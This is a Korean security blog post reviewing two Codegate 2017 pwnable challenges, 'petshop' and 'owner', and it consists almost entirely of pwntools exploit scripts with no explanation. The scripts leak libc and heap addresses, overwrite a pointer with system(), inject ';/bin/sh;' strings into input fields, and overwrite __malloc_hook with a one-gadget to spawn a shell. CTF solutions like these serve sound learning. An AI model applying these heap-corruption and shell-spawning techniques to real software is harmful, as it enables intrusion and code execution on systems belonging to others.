Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

codegate 2017 review 본문

Security/Pwnable

codegate 2017 review

Cdor1 2018. 1. 29. 22:51

petshop


from pwn import *
s = process('./petshop')
raw_input()

def buy(select):
    print s.recvuntil('select:\n')
    s.sendline('1')
    print s.recvuntil('select:\n')
    s.sendline(str(select))

def sell():
    print s.recvuntil('select:\n')
    s.sendline('2')

def sound(select):
    print s.recvuntil('select:\n')
    s.sendline('3')
    print s.recvuntil('select for sound:\n')
    s.sendline(str(select))

def set_pet(select, name, sound, feed):
    print s.recvuntil('select:\n')
    s.sendline('4')
    print s.recvuntil('select for set:\n')
    s.sendline(str(select))
    print s.recvuntil('name:\n')
    s.sendline(name)
    print s.recvuntil('sound:\n')
    s.sendline(sound)
    print s.recvuntil('feed:\n')
    s.sendline(feed)

def list():
    print s.recvuntil('select:\n')
    s.sendline('5')

def set_name(name):
    print s.recvuntil('select:\n')
    s.sendline('6')
    print s.recvuntil("What's your name?\n")
    s.sendline(name)

buy(1)
set_name('dddd')
set_pet(1, 'aaaa', 'bbbb', 'c'*12 + p64(0x604088) + '\x10')
list()
print s.recvuntil('person:')
libc_leak = u64(s.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - 0xa59d0
oneshot = libc_base + 0xf1147
system = libc_base + 0x45390
log.info('libc : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))

buy(1)
set_pet(2, ';/bin/sh;', ';/bin/sh;', 'c'*12 + p64(0x604088) + '\x10' + '/bin/sh;'*0x10)

set_name(p64(system)[:-1])

s.interactive()


owner


from pwn import *
s = process('./owner')

def go_back():
    print s.recv(4096)
    s.sendline('-1')

def add_apart(name, floor, house, something):
    print s.recvuntil('> ')
    s.sendline('1')
    print s.recvuntil("What is your apartment's name? \n")
    s.sendline(name)
    print s.recvuntil('How many floor on your apartment? ')
    s.sendline(str(floor))
    print s.recvuntil('How many house in each floor? ')
    s.sendline(str(house))
    print s.recvuntil('Describe something about it :')
    s.sendline(something)

def edit(select1, select2, modify_select=0, new=0, flag=0): # -1 -1 -1
    print s.recvuntil('> ')
    s.sendline('4')
    print s.recvuntil('> ')
    s.sendline('1')
    print s.recvuntil('> ')
    s.sendline(str(select1))
    print s.recvuntil('> ')
    s.sendline(str(select2))
    if flag:
        print s.recvuntil('> ')
        s.sendline(str(modify_select))
        print s.recv()
        s.sendline(new)

def change(select1, select2, select3): # -1 -1
    print s.recvuntil('> ')
    s.sendline('4')
    print s.recvuntil('> ')
    s.sendline('2')
    print s.recvuntil('> ')
    s.sendline(str(select1))
    print s.recvuntil('> ')
    s.sendline(str(select2))
    print s.recvuntil('> ')
    s.sendline(str(select3))

add_apart('1234', '1234', '1234', '1234')
add_apart('1234', '1234', '1234', '1234')
change(1, 1, 2)
go_back()
go_back()
edit(3, 1)
print s.recvuntil('Normal price of menu : ')
heap_leak = int(s.recv(14))
heap_base = heap_leak - 0x12cf0
log.info('heap_leak : ' + hex(heap_leak))
log.info('heap_base : ' + hex(heap_base))

go_back()
go_back()
go_back()

edit(1, 1, 1, 'a'*0x100, 1)
go_back()
go_back()
go_back()
change(1, 1 ,2)
go_back()
go_back()
edit(3, 2)
print s.recvuntil('Normal price of menu : ')
libc_leak = int(s.recv(15))
libc_base = libc_leak - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
oneshot = libc_base + 0xf02a4
log.info('libc_leak : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
go_back()
go_back()
go_back()
edit(3, 1, 6, str(malloc_hook), 1)
go_back()
go_back()
go_back()
edit(1, 1, 1, p64(oneshot), 1)
go_back()
go_back()
go_back()
s.sendline('5')
s.interactive()


'Security > Pwnable' 카테고리의 다른 글

fuzzer prototype  (0) 2018.03.19
Study materials  (0) 2018.01.30
malloc.c  (0) 2018.01.26
pwnable.tw OmegaGo  (0) 2018.01.18
pwnable.tw De-ASLR  (0) 2018.01.12
Comments